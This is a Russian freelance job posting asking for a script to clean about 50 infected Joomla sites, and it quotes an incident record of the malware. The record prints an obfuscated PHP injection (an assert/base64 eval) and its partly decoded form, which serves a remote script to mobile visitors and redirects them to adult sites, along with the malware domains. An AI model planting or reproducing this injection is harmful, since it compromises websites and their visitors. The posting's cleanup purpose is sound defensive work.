Почистить сайты от вируса на одном аккаунте

Василий16 лет в сервисе

Данные заказчика будут вам доступны после подачи заявки

21.01.2013

на одном аккаунте на сервере висит около 50 сайтов все заражены вирусом описание вируса ниже, нужен скрипт, что бы все почистить, если есть вопросы пишите в скайп brndcrte , укажите пожалуйста, цену работы.

работа вируса заключается в том, когда заходим на сайт с мобильного устройства стоит переадресация на адалт сайты www.adi.fullservice.co.il

DATE 2013–01–17

REF 2013–01–17.04

TYPE Iframe redirection

TARGET Joomla

WHERE All PHP index files

VULNERABILITY Stolen FTP password

MALWARE_DOMAIN mobile-content.info, m.solorussianmodels.com,

attack-attack.info

MALWARE_URI http://mobile-content.info/jquery-1.7.1.js,

attack-attack.info/l=32411d18066c0b4d0355175e0747,

http://m.solorussianmodels.com/index.php

MALWARE_RAW_CODE

$_ = strrev ('tressa');

@$_ («e\166\141\154\050b\141\163\145\066\064\137\14

4\145\143\157\144\145\050'aWYgKChwcmVnX21hdGNoKCcv

dGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YX

AueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NF

UFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbm

Ryb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3Jp

Y2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbm

V8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8

bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG

18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8

c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZX

x0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3

YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQC

RfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19t

YXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0

hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNp

bnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC

1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9T

RVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2

NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8v

anF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOy

BleGl0OyB9'\051\051\073";

MALWARE_OUT_CODE if

((preg_match ('/text\/vnd.wap.wml|application\/vnd.

wap.xhtml\+xml/si', @$_SERVER['HTTP_ACCEPT']) ||

preg_match ('/alcatel|amoi|android|avantgo|blackber

wireless|xda|xoom|zte/si',

@$_SERVER['HTTP_USER_AGENT']) ||

preg_match ('/msearch|m\?q=/si',

@$_SERVER['HTTP_REFERER'])) &&

! preg_match ('/macintosh|america|avant|download|win

dows\-media\-player|yandex|google/si',

@$_SERVER['HTTP_USER_AGENT'])) { echo '

Android Java JavaScript Joomla jQuery PHP

Почистить сайты от вируса на одном аккаунте

Заявки фрилансеров